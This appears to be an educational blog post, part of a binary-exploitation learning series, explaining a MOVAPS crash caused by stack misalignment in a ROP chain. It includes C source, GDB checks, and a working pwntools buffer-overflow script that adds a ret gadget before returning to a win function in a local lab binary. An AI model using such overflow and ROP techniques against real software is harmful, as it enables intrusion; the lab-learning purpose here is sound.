Pwn Learning Path #8: A Real Compiler-Generated MOVAPS Crash

The first alignment lab used a small hand-written assembly check to make the failure deterministic. I then repeated the lesson with normal C code and compiler-generated SSE instructions.

The C source

The target function prepares four floating-point values:

__attribute__((noinline)) static void prepare_reward(void) {
    __m128 values = _mm_set_ps(4.0f, 3.0f, 2.0f, 1.0f);
    float result[4] __attribute__((aligned(16)));

    _mm_store_ps(result, values);
    printf("Verification: %.0f\n", result[0]);
}

The pieces are straightforward:

• __m128 holds four 32-bit floating-point lanes;
• _mm_set_ps(4, 3, 2, 1) creates those packed values;
• aligned(16) promises that result starts on a 16-byte boundary;
• _mm_store_ps stores all four values.

GCC translated the aligned operations into instructions including movaps. There was no hand-written assembly in this version of the source.

Reproducing the crash

I used the known 72-byte saved RIP offset and first returned directly to win. That run reached prepare_reward but stopped with SIGSEGV.

GDB showed the expected instruction:

0x4011c9 <prepare_reward+19>: movaps [rbp-0x10], xmm0

I checked both the stack and the actual destination alignment:

p/x ((unsigned long)$rsp & 0xf)
p/x (((unsigned long)$rbp - 0x10) & 0xf)

The second expression matters because [rbp-0x10], not bare rsp, is the memory operand used by this movaps.

Applying the same fix

The corrected chain inserted one plain ret before win:

from pwn import *

elf = context.binary = ELF('./stack_alignment_sse', checksec=False)
rop = ROP(elf)
io = process(elf.path)

ret = rop.find_gadget(['ret'])[0]

payload = flat(
    b'A' * 72,
    ret,
    elf.symbols['win'],
)

io.sendline(payload)
print(io.recvall().decode())

The successful run produced both expected lines:

Verification: 1
local{real_stack_alignment}

Why this version mattered

The earlier lab taught the mechanic. This lab made the symptom realistic.

A crash in movaps can appear inside otherwise ordinary compiled code or libc. The real cause may be an earlier ROP entry that violated the function's expected stack state. The instruction that crashes and the mistake that caused it can be in different functions.

My debugging rule is now: verify the effective address, reason about every eight-byte stack consumption, and compare the failing chain with a one-ret shift.

That alignment lesson carries directly into ret2libc, where the final call to system may require the same correction.

Series navigation

← Part 7: stack alignment · Part 9: my first ret2libc leak →